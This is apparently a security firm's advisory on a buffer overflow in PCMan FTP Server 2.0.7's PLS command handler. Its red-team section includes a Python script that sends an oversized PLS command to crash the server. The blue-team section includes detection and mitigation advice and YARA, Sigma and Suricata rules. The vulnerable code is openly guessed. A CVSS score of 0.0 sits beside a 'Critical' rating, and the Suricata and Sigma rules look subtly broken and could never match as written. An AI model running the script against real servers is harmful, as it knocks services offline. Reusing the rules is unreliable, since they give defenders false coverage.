CVE-2025-5635

Executive Summary

CVE-2025-5635 is a critical buffer overflow vulnerability in PCMan FTP Server version 2.0.7, specifically within the PLS Command Handler. This flaw allows remote attackers to trigger a buffer overflow by sending a specially crafted PLS command, potentially leading to arbitrary code execution or denial of service. The exploit has been publicly disclosed, and no official patch is available, making this a high-risk vulnerability for any system running the affected software.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Threat Level: Critical (based on public exploit and remote attack vector)
• Attack Vector: Network (remote)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Impact: Potential for arbitrary code execution, system compromise, or denial of service.

Deep Dive & Mechanics

The vulnerability resides in the PLS command handler of PCMan FTP Server 2.0.7. The PLS command is used to list files in a directory, but the server fails to properly validate the length of the input before copying it into a fixed-size buffer. By sending an overly long PLS command argument, an attacker can overflow the buffer, overwriting adjacent memory regions. This can corrupt the program's execution flow, allowing the attacker to inject and execute arbitrary code.

The exploit is publicly available, meaning that even low-skilled attackers can leverage it. Since the software is unpatched, any instance of PCMan FTP Server 2.0.7 is vulnerable.

Vulnerable vs. Patched Code

Vulnerable Code (PCMan FTP Server 2.0.7): The vulnerable code likely uses a function like strcpy or sprintf without bounds checking when processing the PLS command argument.

void handle_pls_command(char *arg) {
    char buffer[256];
    strcpy(buffer, arg); // No bounds check - buffer overflow
    // ... process buffer
}

Patched Code (Hypothetical): A patched version would use safe string handling functions with length limits.

void handle_pls_command(char *arg) {
    char buffer[256];
    strncpy(buffer, arg, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install PCMan FTP Server 2.0.7 on a Windows VM (e.g., Windows XP or 7).
2. Ensure the FTP service is running and accessible from the attacker machine.
3. Use a Kali Linux VM as the attacker.

Exploit Code (Python):

import socket

target_ip = "192.168.1.100"
target_port = 21

# Craft a malicious PLS command with a long argument
payload = b"A" * 500  # Overflow buffer
command = b"PLS " + payload + b"\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(command)
sock.close()

Execution: Run the Python script to send the overflow payload. If successful, the FTP server may crash or execute arbitrary code.

Blue Team

Detection:

• Monitor for unusually long PLS commands in FTP logs.
• Use network intrusion detection systems (NIDS) to flag oversized FTP commands.
• Implement behavioral analysis to detect abnormal FTP traffic patterns.

Mitigation:

• Immediately isolate or shut down any PCMan FTP Server 2.0.7 instances.
• If possible, apply a virtual patch using a WAF or IPS to block oversized PLS commands.
• Consider migrating to a supported FTP server solution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • FTP packets with PLS commands exceeding 256 bytes.
  • Connections to port 21 from suspicious IPs.
• Host IOCs:
  • PCMan FTP Server process crash logs.
  • Unexpected memory dumps or core files.
  • Presence of unknown executables or scripts in the FTP server directory.

Detection Engineering

YARA Rule

rule CVE_2025_5635_PLS_Overflow {
    meta:
        description = "Detects PCMan FTP Server PLS command buffer overflow attempts"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-5635"
    strings:
        $pls_cmd = "PLS " ascii wide nocase
        $overflow = /PLS\s.{257,}/ ascii
    condition:
        $pls_cmd and $overflow
}

Sigma Rule

title: PCMan FTP Server PLS Command Buffer Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects oversized PLS commands targeting PCMan FTP Server 2.0.7
author: Valters IT
date: 2025-01-01
logsource:
    category: network
    product: ftp
detection:
    selection:
        command: "PLS"
        length: > 256
    condition: selection
falsepositives:
    - None expected
level: high

Suricata Rule

alert tcp any any -> any 21 (msg:"CVE-2025-5635 PCMan FTP Server PLS Buffer Overflow"; flow:to_server,established; content:"PLS "; depth:4; content:!"|0d 0a|"; within:500; byte_test:1,>,256,4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Action: Disable or remove PCMan FTP Server 2.0.7 from production environments.
• Workaround: If the service must run, restrict access via firewall rules to trusted IPs only.
• Long-term: Migrate to a supported and actively maintained FTP server (e.g., FileZilla Server, vsftpd).
• Monitoring: Implement the provided detection rules to identify exploitation attempts.
• Patch: No official patch exists; consider using a virtual patch or WAF to block oversized PLS commands.

Valters IT
Securing Digital Frontiers